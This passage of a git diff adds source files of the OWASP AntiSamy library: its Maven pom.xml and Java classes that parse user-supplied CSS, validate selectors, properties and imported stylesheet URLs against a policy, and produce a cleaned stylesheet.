.../s/slashdot.org_files/networking_64.png | Bin 0 -> 2380 bytes
...ed_in=0;tile=6;sz=300x250;ord=892495382577180.9 | 23 +
...index2;logged_in=0;tile=8;sz=300x250,300x600;u= | 23 +
...eader;pg=index2;logged_in=0;tile=1;sz=728x90;u= | 23 +
...31_lower_poll_spons;pg=index;logged_in=0;tile=5 | 1 +
...index2;logged_in=0;tile=4;sz=300x250,300x600;u= | 1 +
...index2;logged_in=0;tile=7;sz=300x250,300x600;u= | 23 +
.../resources/s/slashdot.org_files/piracy_64.png | Bin 0 -> 7118 bytes
.../resources/s/slashdot.org_files/providers.css | 1 +
.../sd_hub_icon;tile=2;sz=200x90 | 1 +
.../resources/s/slashdot.org_files/starwars_64.png | Bin 0 -> 6296 bytes
.../resources/s/slashdot.org_files/tagger_v04.php | 0
.../resources/s/slashdot.org_files/wireless_64.png | Bin 0 -> 3445 bytes
428 files changed, 35017 insertions(+)
diff --git a/pom.xml b/pom.xml
new file mode 100644
index 0000000..b3e3107
--- /dev/null
+++ b/pom.xml
@@ -0,0 +1,55 @@
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
+ <parent>
+ <groupId>org.owasp.antisamy</groupId>
+ <artifactId>antisamy-project</artifactId>
+ <version>1.5.3</version>
+ </parent>
+ <modelVersion>4.0.0</modelVersion>
+ <groupId>org.owasp.antisamy</groupId>
+ <artifactId>antisamy</artifactId>
+ <packaging>jar</packaging>
+ <version>1.5.3</version>
+ <name>OWASP AntiSamy</name>
+ <dependencies>
+ <dependency>
+ <groupId>org.owasp.antisamy</groupId>
+ <artifactId>antisamy-sample-configs</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>org.apache.xmlgraphics</groupId>
+ <artifactId>batik-css</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>net.sourceforge.nekohtml</groupId>
+ <artifactId>nekohtml</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>commons-httpclient</groupId>
+ <artifactId>commons-httpclient</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>junit</groupId>
+ <artifactId>junit</artifactId>
+ <type>jar</type>
+ <scope>test</scope>
+ </dependency>
+ </dependencies>
+ <build>
+ <plugins>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-jar-plugin</artifactId>
+ <configuration>
+ <archive>
+ <manifest>
+ <mainClass>org.owasp.validator.html.AntiSamy</mainClass>
+ <packageName>org.owasp.validator.html</packageName>
+ <addDefaultImplementationEntries>true</addDefaultImplementationEntries>
+ <classpathPrefix />
+ </manifest>
+ </archive>
+ </configuration>
+ </plugin>
+ </plugins>
+ </build>
+</project>
diff --git a/src/main/java/org/owasp/validator/css/CssHandler.java b/src/main/java/org/owasp/validator/css/CssHandler.java
new file mode 100644
index 0000000..4a72848
--- /dev/null
+++ b/src/main/java/org/owasp/validator/css/CssHandler.java
@@ -0,0 +1,522 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * - Redistributions of source code must retain the above copyright notice,
+ * this list of conditions and the following disclaimer.
+ * - Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ * - Neither the name of OWASP nor the names of its contributors may be used to
+ * endorse or promote products derived from this software without specific
+ * prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+package org.owasp.validator.css;
+
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.util.*;
+
+import org.owasp.validator.html.InternalPolicy;
+import org.owasp.validator.html.Policy;
+import org.owasp.validator.html.ScanException;
+import org.owasp.validator.html.util.ErrorMessageUtil;
+import org.owasp.validator.html.util.HTMLEntityEncoder;
+import org.w3c.css.sac.CSSException;
+import org.w3c.css.sac.DocumentHandler;
+import org.w3c.css.sac.InputSource;
+import org.w3c.css.sac.LexicalUnit;
+import org.w3c.css.sac.SACMediaList;
+import org.w3c.css.sac.Selector;
+import org.w3c.css.sac.SelectorList;
+
+/**
+ * A implementation of a SAC DocumentHandler for CSS validation. The appropriate
+ * validation method is called whenever the handler is invoked by the parser.
+ * The handler also builds a clean CSS document as the original CSS is scanned.
+ *
+ * NOTE: keeping state in this class is not ideal as handler style parsing a la
+ * SAX should generally be event driven. However, there is not a fully
+ * implemented "DOM" equivalent to CSS at this time. Java has a StyleSheet class
+ * that could accomplish this "DOM" like behavior but it has yet to be fully
+ * implemented.
+ *
+ * @see javax.swing.text.html.StyleSheet
+ * @author Jason Li
+ *
+ */
+public class CssHandler implements DocumentHandler {
+
+ /**
+ * The style sheet as it is being built by the handler
+ */
+ private StringBuffer styleSheet = new StringBuffer();
+
+ /**
+ * The validator to use when CSS constituents are encountered
+ */
+ private final CssValidator validator;
+
+ /**
+ * The policy file to use in validation
+ */
+ private final InternalPolicy policy;
+
+ /**
+ * The encaspulated results including the error messages
+ */
+// private final CleanResults results;
+ private final Collection<String> errorMessages;
+
+ /**
+ * The error message bundled to pull from.
+ */
+ private ResourceBundle messages;
+
+ /**
+ * A queue of imported stylesheets; used to track imported stylesheets
+ */
+ private final LinkedList importedStyleSheets;
+
+ /**
+ * The tag currently being examined (if any); used for inline stylesheet
+ * error messages
+ */
+ private final String tagName;
+
+ /**
+ * Indicates whether we are scanning a stylesheet or an inline declaration.
+ * true if this is an inline declaration; false otherwise
+ */
+ private final boolean isInline;
+
+ /**
+ * Indicates whether the handler is currently parsing the contents between
+ * an open selector tag and an close selector tag
+ */
+ private boolean selectorOpen = false;
+
+ /**
+ * Constructs a handler for stylesheets using the given policy and queue for
+ * imported stylesheets.
+ *
+ * @param policy
+ * the policy to use
+ * @param embeddedStyleSheets
+ * the queue of stylesheets imported
+ */
+ public CssHandler(Policy policy, LinkedList embeddedStyleSheets,
+ List<String> errorMessages, ResourceBundle messages) {
+ this(policy, embeddedStyleSheets, errorMessages, null, messages);
+ }
+
+ /**
+ * Constructs a handler for inline style declarations using the given policy
+ * and queue for imported stylesheets.
+ *
+ * @param policy
+ * the policy to use
+ * @param embeddedStyleSheets
+ * the queue of stylesheets imported
+ * @param tagName
+ * the associated tag name with this inline style
+ */
+ public CssHandler(Policy policy, LinkedList embeddedStyleSheets,
+ List<String> errorMessages, String tagName, ResourceBundle messages) {
+ this.policy = (InternalPolicy) policy;
+ this.errorMessages = errorMessages;
+ this.messages = messages;
+ this.validator = new CssValidator(policy);
+ this.importedStyleSheets = embeddedStyleSheets;
+ this.tagName = tagName;
+ this.isInline = (tagName != null);
+ }
+
+ /**
+ * Returns the cleaned stylesheet.
+ *
+ * @return the cleaned styesheet
+ */
+ public String getCleanStylesheet() {
+ // Always ensure results contain most recent generation of stylesheet
+ return styleSheet.toString();
+ }
+
+ /**
+ * Returns the error messages generated during parsing.
+ * @return the error messages generated during parsing
+ */
+ public Collection getErrorMessages() {
+ return new ArrayList(errorMessages);
+ }
+
+ /*
+ * (non-Javadoc)
+ *
+ * @see org.w3c.css.sac.DocumentHandler#comment(java.lang.String)
+ */
+ public void comment(String text) throws CSSException {
+ errorMessages.add(ErrorMessageUtil.getMessage(
+ messages,
+ ErrorMessageUtil.ERROR_COMMENT_REMOVED,
+ new Object[] { HTMLEntityEncoder.htmlEntityEncode(text) }));
+ }
+
+ /*
+ * (non-Javadoc)
+ *
+ * @see org.w3c.css.sac.DocumentHandler#ignorableAtRule(java.lang.String)
+ */
+ public void ignorableAtRule(String atRule) throws CSSException {
+ // this method is called when the parser hits an unrecognized
+ // @-rule. Like the page/media/font declarations, this is
+ // CSS2+ stuff
+ if (tagName != null) {
+ errorMessages.add(ErrorMessageUtil.getMessage(
+ messages,
+ ErrorMessageUtil.ERROR_CSS_TAG_RULE_NOTFOUND,
+ new Object[] {
+ HTMLEntityEncoder.htmlEntityEncode(tagName),
+ HTMLEntityEncoder.htmlEntityEncode(atRule)
+ }));
+ } else {
+ errorMessages.add(ErrorMessageUtil.getMessage(
+ messages,
+ ErrorMessageUtil.ERROR_STYLESHEET_RULE_NOTFOUND,
+ new Object[] {
+ HTMLEntityEncoder.htmlEntityEncode(atRule)
+ }));
+ }
+
+ }
+
+ /*
+ * (non-Javadoc)
+ *
+ * @see org.w3c.css.sac.DocumentHandler#importStyle(java.lang.String,
+ * org.w3c.css.sac.SACMediaList, java.lang.String)
+ */
+ public void importStyle(String uri, SACMediaList media,
+ String defaultNamespaceURI) throws CSSException {
+
+ if (!policy.isEmbedStyleSheets()) {
+ errorMessages.add(ErrorMessageUtil.getMessage(
+ messages,
+ ErrorMessageUtil.ERROR_CSS_IMPORT_DISABLED,
+ new Object[] {}));
+ return;
+ }
+
+ try {
+ // check for non-nullness (validate after canonicalization)
+ if (uri == null) {
+ errorMessages.add(ErrorMessageUtil.getMessage(
+ messages,
+ ErrorMessageUtil.ERROR_CSS_IMPORT_URL_INVALID,
+ new Object[] { HTMLEntityEncoder.htmlEntityEncode(uri) }));
+ return;
+ }
+
+ URI importedStyleSheet = new URI(uri);
+
+ // canonicalize the URI
+ importedStyleSheet.normalize();
+
+ // validate the URL
+
+ if (!policy.getCommonRegularExpressions("offsiteURL").matches(importedStyleSheet.toString())
+ && !policy.getCommonRegularExpressions("onsiteURL").matches(importedStyleSheet.toString())) {
+ errorMessages.add(ErrorMessageUtil.getMessage(
+ messages,
+ ErrorMessageUtil.ERROR_CSS_IMPORT_URL_INVALID,
+ new Object[] { HTMLEntityEncoder.htmlEntityEncode(uri) }));
+ return;
+ }
+
+
+ if (!importedStyleSheet.isAbsolute()) {
+ // we have no concept of relative reference for free form
+ // text as an end user can't know where the corresponding
+ // free form will end up
+ if (tagName != null) {
+ errorMessages.add(ErrorMessageUtil.getMessage(
+ messages,
+ ErrorMessageUtil.ERROR_CSS_TAG_RELATIVE,
+ new Object[] {
+ HTMLEntityEncoder.htmlEntityEncode(tagName),
+ HTMLEntityEncoder.htmlEntityEncode(uri) }));
+ } else {
+ errorMessages.add(ErrorMessageUtil.getMessage(
+ messages,
+ ErrorMessageUtil.ERROR_STYLESHEET_RELATIVE,
+ new Object[] { HTMLEntityEncoder.htmlEntityEncode(uri) }));
+ }
+ return;
+ }
+
+
+ importedStyleSheets.add(importedStyleSheet);
+ } catch (URISyntaxException use) {
+ errorMessages.add(ErrorMessageUtil.getMessage(
+ messages,
+ ErrorMessageUtil.ERROR_CSS_IMPORT_URL_INVALID,
+ new Object[] { HTMLEntityEncoder.htmlEntityEncode(uri) }));
+ return;
+ }
+ }
+
+ /*
+ * (non-Javadoc)
+ *
+ * @see org.w3c.css.sac.DocumentHandler#namespaceDeclaration(java.lang.String,
+ * java.lang.String)
+ */
+ public void namespaceDeclaration(String prefix, String uri)
+ throws CSSException {
+ // CSS3 - Namespace declaration - ignore for now
+ }
+
+ /*
+ * (non-Javadoc)
+ *
+ * @see org.w3c.css.sac.DocumentHandler#startDocument(org.w3c.css.sac.InputSource)
+ */
+ public void startDocument(InputSource arg0) throws CSSException {
+ // no-op
+ }
+
+ /*
+ * (non-Javadoc)
+ *
+ * @see org.w3c.css.sac.DocumentHandler#endDocument(org.w3c.css.sac.InputSource)
+ */
+ public void endDocument(InputSource source) throws CSSException {
+ // no-op
+ }
+
+ /*
+ * (non-Javadoc)
+ *
+ * @see org.w3c.css.sac.DocumentHandler#startFontFace()
+ */
+ public void startFontFace() throws CSSException {
+ // CSS2 Font Face declaration - ignore this for now
+ }
+
+ /*
+ * (non-Javadoc)
+ *
+ * @see org.w3c.css.sac.DocumentHandler#endFontFace()
+ */
+ public void endFontFace() throws CSSException {
+ // CSS2 Font Face declaration - ignore this for now
+ }
+
+ /*
+ * (non-Javadoc)
+ *
+ * @see org.w3c.css.sac.DocumentHandler#startMedia(org.w3c.css.sac.SACMediaList)
+ */
+ public void startMedia(SACMediaList media) throws CSSException {
+ // CSS2 Media declaration - ignore this for now
+ }
+
+ /*
+ * (non-Javadoc)
+ *
+ * @see org.w3c.css.sac.DocumentHandler#endMedia(org.w3c.css.sac.SACMediaList)
+ */
+ public void endMedia(SACMediaList media) throws CSSException {
+ // CSS2 Media declaration - ignore this for now
+ }
+
+ /*
+ * (non-Javadoc)
+ *
+ * @see org.w3c.css.sac.DocumentHandler#startPage(java.lang.String,
+ * java.lang.String)
+ */
+ public void startPage(String name, String pseudoPage) throws CSSException {
+ // CSS2 Page declaration - ignore this for now
+ }
+
+ /*
+ * (non-Javadoc)
+ *
+ * @see org.w3c.css.sac.DocumentHandler#endPage(java.lang.String,
+ * java.lang.String)
+ */
+ public void endPage(String name, String pseudoPage) throws CSSException {
+ // CSS2 Page declaration - ignore this for now
+ }
+
+ /*
+ * (non-Javadoc)
+ *
+ * @see org.w3c.css.sac.DocumentHandler#startSelector(org.w3c.css.sac.SelectorList)
+ */
+ public void startSelector(SelectorList selectors) throws CSSException {
+
+ // keep track of number of valid selectors from this rule
+ int selectorCount = 0;
+
+ // check each selector from this rule
+ for (int i = 0; i < selectors.getLength(); i++) {
+ Selector selector = selectors.item(i);
+
+ if (selector != null) {
+ String selectorName = selector.toString();
+
+ boolean isValidSelector = false;
+
+ try {
+ isValidSelector = validator.isValidSelector(selectorName,
+ selector);
+ } catch (ScanException se) {
+ if (tagName != null) {
+ errorMessages.add(ErrorMessageUtil.getMessage(
+ messages,
+ ErrorMessageUtil.ERROR_CSS_TAG_SELECTOR_NOTFOUND,
+ new Object[] {
+ HTMLEntityEncoder.htmlEntityEncode(selector.toString())
+ }));
+ } else {
+ errorMessages.add(ErrorMessageUtil.getMessage(
+ messages,
+ ErrorMessageUtil.ERROR_STYLESHEET_SELECTOR_NOTFOUND,
+ new Object[] {
+ HTMLEntityEncoder.htmlEntityEncode(tagName),
+ HTMLEntityEncoder.htmlEntityEncode(selector.toString())
+ }));
+ }
+ }
+
+ // if the selector is valid, add to list
+ if (isValidSelector) {
+ if (selectorCount > 0) {
+ styleSheet.append(',');
+ styleSheet.append(' ');
+ }
+ styleSheet.append(selectorName);
+
+ selectorCount++;
+
+ } else {
+ if (tagName != null) {
+ errorMessages.add(ErrorMessageUtil.getMessage(
+ messages,
+ ErrorMessageUtil.ERROR_CSS_TAG_SELECTOR_DISALLOWED,
+ new Object[] {
+ HTMLEntityEncoder.htmlEntityEncode(tagName),
+ HTMLEntityEncoder.htmlEntityEncode(selector.toString())
+ }));
+
+ } else {
+ errorMessages.add(ErrorMessageUtil.getMessage(
+ messages,
+ ErrorMessageUtil.ERROR_STYLESHEET_SELECTOR_DISALLOWED,
+ new Object[] {
+ HTMLEntityEncoder.htmlEntityEncode(selector.toString())
+ }));
+ }
+
+ }
+ }
+ }
+
+ // if and only if there were selectors that were valid, append
+ // appropriate open brace and set state to within selector
+ if (selectorCount > 0) {
+ styleSheet.append(' ');
+ styleSheet.append('{');
+ styleSheet.append('\n');
+ selectorOpen = true;
+ }
+ }
+
+ /*
+ * (non-Javadoc)
+ *
+ * @see org.w3c.css.sac.DocumentHandler#endSelector(org.w3c.css.sac.SelectorList)
+ */
+ public void endSelector(SelectorList selectors) throws CSSException {
+ // if we are in a state within a selector, close brace
+ if (selectorOpen) {
+ styleSheet.append('}');
+ styleSheet.append('\n');
+ }
+
+ // reset state
+ selectorOpen = false;
+ }
+
+ /*
+ * (non-Javadoc)
+ *
+ * @see org.w3c.css.sac.DocumentHandler#property(java.lang.String,
+ * org.w3c.css.sac.LexicalUnit, boolean)
+ */
+ public void property(String name, LexicalUnit value, boolean important)
+ throws CSSException {
+ // only bother validating and building if we are either inline or within
+ // a selector tag
+
+ if (!selectorOpen && !isInline) {
+ return;
+ }
+
+ // validate the property
+ if (validator.isValidProperty(name, value)) {
+
+ if (!isInline) { styleSheet.append('\t'); }
+ styleSheet.append(name);
+ styleSheet.append(':');
+
+ // append all values
+ while (value != null) {
+ styleSheet.append(' ');
+ styleSheet.append(validator.lexicalValueToString(value));
+ value = value.getNextLexicalUnit();
+ }
+ styleSheet.append(';');
+ if (!isInline) { styleSheet.append('\n'); }
+
+ } else {
+
+ if (tagName != null) {
+ errorMessages.add(ErrorMessageUtil.getMessage(
+ messages,
+ ErrorMessageUtil.ERROR_CSS_TAG_PROPERTY_INVALID,
+ new Object[] {
+ HTMLEntityEncoder.htmlEntityEncode(tagName),
+ HTMLEntityEncoder.htmlEntityEncode(name),
+ HTMLEntityEncoder.htmlEntityEncode(validator
+ .lexicalValueToString(value)) }));
+ } else {
+ errorMessages.add(ErrorMessageUtil.getMessage(
+ messages,
+ ErrorMessageUtil.ERROR_STYLESHEET_PROPERTY_INVALID,
+ new Object[] {
+ HTMLEntityEncoder.htmlEntityEncode(name),
+ HTMLEntityEncoder.htmlEntityEncode(validator
+ .lexicalValueToString(value)) }));
+ }
+
+ }
+ }
+}
diff --git a/src/main/java/org/owasp/validator/css/CssScanner.java b/src/main/java/org/owasp/validator/css/CssScanner.java
new file mode 100644
index 0000000..64bf036
--- /dev/null
+++ b/src/main/java/org/owasp/validator/css/CssScanner.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * - Redistributions of source code must retain the above copyright notice,
+ * this list of conditions and the following disclaimer.
+ * - Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ * - Neither the name of OWASP nor the names of its contributors may be used to
+ * endorse or promote products derived from this software without specific
+ * prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+package org.owasp.validator.css;
+
+import java.io.IOException;
+import java.io.StringReader;
+import java.util.*;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import org.apache.batik.css.parser.ParseException;
+import org.apache.batik.css.parser.Parser;
+import org.owasp.validator.html.CleanResults;
+import org.owasp.validator.html.InternalPolicy;
+import org.owasp.validator.html.Policy;
+import org.owasp.validator.html.ScanException;
+import org.w3c.css.sac.InputSource;
+
+/**
+ * Encapsulates the parsing and validation of a CSS stylesheet or inline
+ * declaration. To make use of this class, instantiate the scanner with the
+ * desired policy and call either <code>scanInlineSheet()</code> or
+ * <code>scanStyleSheet</code> as appropriate.
+ *
+ * @see #scanInlineStyle(String, String, int)
+ * @see #scanStyleSheet(String, int)
+ *
+ * @author Jason Li
+ */
+public class CssScanner {
+
+ protected static final int DEFAULT_TIMEOUT = 1000;
+
+ private static final String CDATA = "^\\s*<!\\[CDATA\\[(.*)\\]\\]>\\s*$";
+
+ /**
+ * The parser to be used in any scanning
+ */
+ protected final Parser parser = new Parser();
+
+ /**
+ * The policy file to be used in any scanning
+ */
+ protected final InternalPolicy policy;
+
+ /**
+ * The message bundled to pull error messages from.
+ */
+ protected final ResourceBundle messages;
+ private static final Pattern p = Pattern.compile(CDATA, Pattern.DOTALL);
+
+ /**
+ * Constructs a scanner based on the given policy.
+ *
+ * @param policy
+ * the policy to follow when scanning
+ */
+ public CssScanner(InternalPolicy policy, ResourceBundle messages) {
+ this.policy = policy;
+ this.messages = messages;
+ }
+
+ /**
+ * Scans the contents of a full stylesheet (ex. a file based stylesheet
+ * or the complete stylesheet contents as declared within <style>
+ * tags)
+ *
+ * @param taintedCss
+ * a <code>String</code> containing the contents of the
+ * CSS stylesheet to validate
+ * @param sizeLimit
+ * the limit on the total size in bytes of any imported
+ * stylesheets
+ * @return a <code>CleanResuts</code> object containing the results of
+ * the scan
+ * @throws ScanException
+ * if an error occurs during scanning
+ */
+ public CleanResults scanStyleSheet(String taintedCss, int sizeLimit)
+ throws ScanException {
+
+ long startOfScan = System.currentTimeMillis();
+ List<String> errorMessages = new ArrayList<String>();
+
+ /* Check to see if the text starts with (\s)*<![CDATA[
+ * and end with ]]>(\s)*.
+ */
+
+ Matcher m = p.matcher(taintedCss);
+
+ boolean isCdata = m.matches();
+
+ if ( isCdata ) {
+ taintedCss = m.group(1);
+ }
+
+ // Create a queue of all style sheets that need to be validated to
+ // account for any sheets that may be imported by the current CSS
+ LinkedList stylesheets = new LinkedList();
+
+ CssHandler handler = new CssHandler(policy, stylesheets, errorMessages, messages);
+
+ // parse the stylesheet
+ parser.setDocumentHandler(handler);
+
+ try {
+ // parse the style declaration
+ // note this does not count against the size limit because it
+ // should already have been counted by the caller since it was
+ // embedded in the HTML
+ parser
+ .parseStyleSheet(new InputSource(new StringReader(
+ taintedCss)));
+ } catch (IOException ioe) {
+ throw new ScanException(ioe);
+
+ /*
+ * ParseExceptions, from batik, is unfortunately a RuntimeException.
+ */
+ } catch (ParseException pe) {
+ throw new ScanException(pe);
+ }
+
+ parseImportedStylesheets(stylesheets, handler, errorMessages, sizeLimit);
+
+ String cleaned = handler.getCleanStylesheet();
+
+ if ( isCdata && !policy.isUseXhtml()) {
+ cleaned = "<![CDATA[[" + cleaned + "]]>";
+ }
+
+ return new CleanResults(startOfScan, cleaned, null, errorMessages);
+ }
+
+ /**
+ * Scans the contents of an inline style declaration (ex. in the style
+ * attribute of an HTML tag) and validates the style sheet according to
+ * this <code>CssScanner</code>'s policy file.
+ *
+ * @param taintedCss
+ * a <code>String</code> containing the contents of the
+ * CSS stylesheet to validate
+ * @param tagName
+ * the name of the tag for which this inline style was
+ * declared
+ *
+ * @param sizeLimit
+ * the limit on the total size in bites of any imported
+ * stylesheets
+ * @return a <code>CleanResuts</code> object containing the results of
+ * the scan
+ * @throws ScanException
+ * if an error occurs during scanning
+ */
+ public CleanResults scanInlineStyle(String taintedCss, String tagName,
+ int sizeLimit) throws ScanException {
+
+ long startOfScan = System.currentTimeMillis();
+
+ List<String> errorMessages = new ArrayList<String>();
+
+ // Create a queue of all style sheets that need to be validated to
+ // account for any sheets that may be imported by the current CSS
+ LinkedList stylesheets = new LinkedList();
+
+ CssHandler handler = new CssHandler(policy, stylesheets, errorMessages,
+ tagName, messages);
+
+ parser.setDocumentHandler(handler);
+
+ try {
+ // parse the inline style declaration
+ // note this does not count against the size limit because it
+ // should already have been counted by the caller since it was
+ // embedded in the HTML
+ parser.parseStyleDeclaration(taintedCss);
+ } catch (IOException ioe) {
+ throw new ScanException(ioe);
+ }
+
+ parseImportedStylesheets(stylesheets, handler, errorMessages, sizeLimit);
+
+ return new CleanResults(startOfScan, handler.getCleanStylesheet(), null, errorMessages);
+ }
+
+ /**
+ * Parses through a <code>LinkedList</code> of imported stylesheet
+ * URIs, this method parses through those stylesheets and validates them
+ *
+ * @param stylesheets
+ * the <code>LinkedList</code> of stylesheet URIs to
+ * parse
+ * @param handler
+ * the <code>CssHandler</code> to use for parsing
+ * @param errorMessages
+ * the list of error messages to append to
+ * @param sizeLimit
+ * the limit on the total size in bites of any imported
+ * stylesheets
+ * @throws ScanException
+ * if an error occurs during scanning
+ */
+ protected void parseImportedStylesheets(LinkedList stylesheets, CssHandler handler,
+ List<String> errorMessages, int sizeLimit) throws ScanException {
+ // Implemented in ExternalCssScanner.java
+ }
+
+ /**
+ * Test method to demonstrate CSS scanning.
+ *
+ * @deprecated
+ * @param args
+ * unused
+ * @throws Exception
+ * if any error occurs
+ */
+ public static void main(String[] args) throws Exception {
+ InternalPolicy policy = (InternalPolicy) Policy.getInstance("resources/antisamy-1.2.xml");
+
+ CssScanner scanner;
+
+ if(policy.isEmbedStyleSheets()) {
+ scanner = new ExternalCssScanner(policy, ResourceBundle.getBundle("AntiSamy", Locale.getDefault()));
+ }else{
+ scanner = new CssScanner(policy, ResourceBundle.getBundle("AntiSamy", Locale.getDefault()));
+ }
+
+ CleanResults results;
+
+ results = scanner
+ .scanStyleSheet(
+ "@import url(http://www.owasp.org/skins/monobook/main.css);"
+ + "@import url(http://www.w3schools.com/stdtheme.css);"
+ + "@import url(http://www.google.com/ig/f/t1wcX5O39cc/ig.css); ",
+ Integer.MAX_VALUE);
+
+ // Test case for live CSS docs. Just change URL to a live CSS on
+ // the internet. Note this is test code and does not handle IO
+ // errors
+ // StringBuffer sb = new StringBuffer();
+ // BufferedReader reader = new BufferedReader(new InputStreamReader(
+ // new URL("http://www.owasp.org/skins/monobook/main.css")
+ // .openStream()));
+ // String line = null;
+ // while ((line = reader.readLine()) != null) {
+ // sb.append(line);
+ // sb.append("\n");
+ // }
+ // results = scanner.scanStyleSheet(sb.toString(),
+ // Policy.DEFAULT_MAX_INPUT_SIZE);
+
+ System.out.println("Cleaned result:");
+ System.out.println(results.getCleanHTML());
+ System.out.println("--");
+ System.out.println("Error messages");
+ System.out.println(results.getErrorMessages());
+ }
+}
diff --git a/src/main/java/org/owasp/validator/css/CssValidator.java b/src/main/java/org/owasp/validator/css/CssValidator.java
new file mode 100644
index 0000000..052e89e
--- /dev/null
+++ b/src/main/java/org/owasp/validator/css/CssValidator.java
@@ -0,0 +1,409 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * - Redistributions of source code must retain the above copyright notice,
+ * this list of conditions and the following disclaimer.
+ * - Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ * - Neither the name of OWASP nor the names of its contributors may be used to
+ * endorse or promote products derived from this software without specific
+ * prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+package org.owasp.validator.css;
+
+import java.util.Iterator;
+import java.util.regex.Pattern;
+
+import org.owasp.validator.html.Policy;
+import org.owasp.validator.html.ScanException;
+import org.owasp.validator.html.model.AntiSamyPattern;
+import org.owasp.validator.html.model.Property;
+import org.owasp.validator.html.util.HTMLEntityEncoder;
+
+import org.w3c.css.sac.AttributeCondition;
+import org.w3c.css.sac.CombinatorCondition;
+import org.w3c.css.sac.Condition;
+import org.w3c.css.sac.ConditionalSelector;
+import org.w3c.css.sac.DescendantSelector;
+import org.w3c.css.sac.LexicalUnit;
+import org.w3c.css.sac.NegativeCondition;
+import org.w3c.css.sac.NegativeSelector;
+import org.w3c.css.sac.Selector;
+import org.w3c.css.sac.SiblingSelector;
+import org.w3c.css.sac.SimpleSelector;
+
+/**
+ * Encapsulates all the neceesary operations for validating individual eleements
+ * of a stylesheet (namely: selectors, conditions and properties).
+ *
+ * @author Jason Li
+ *
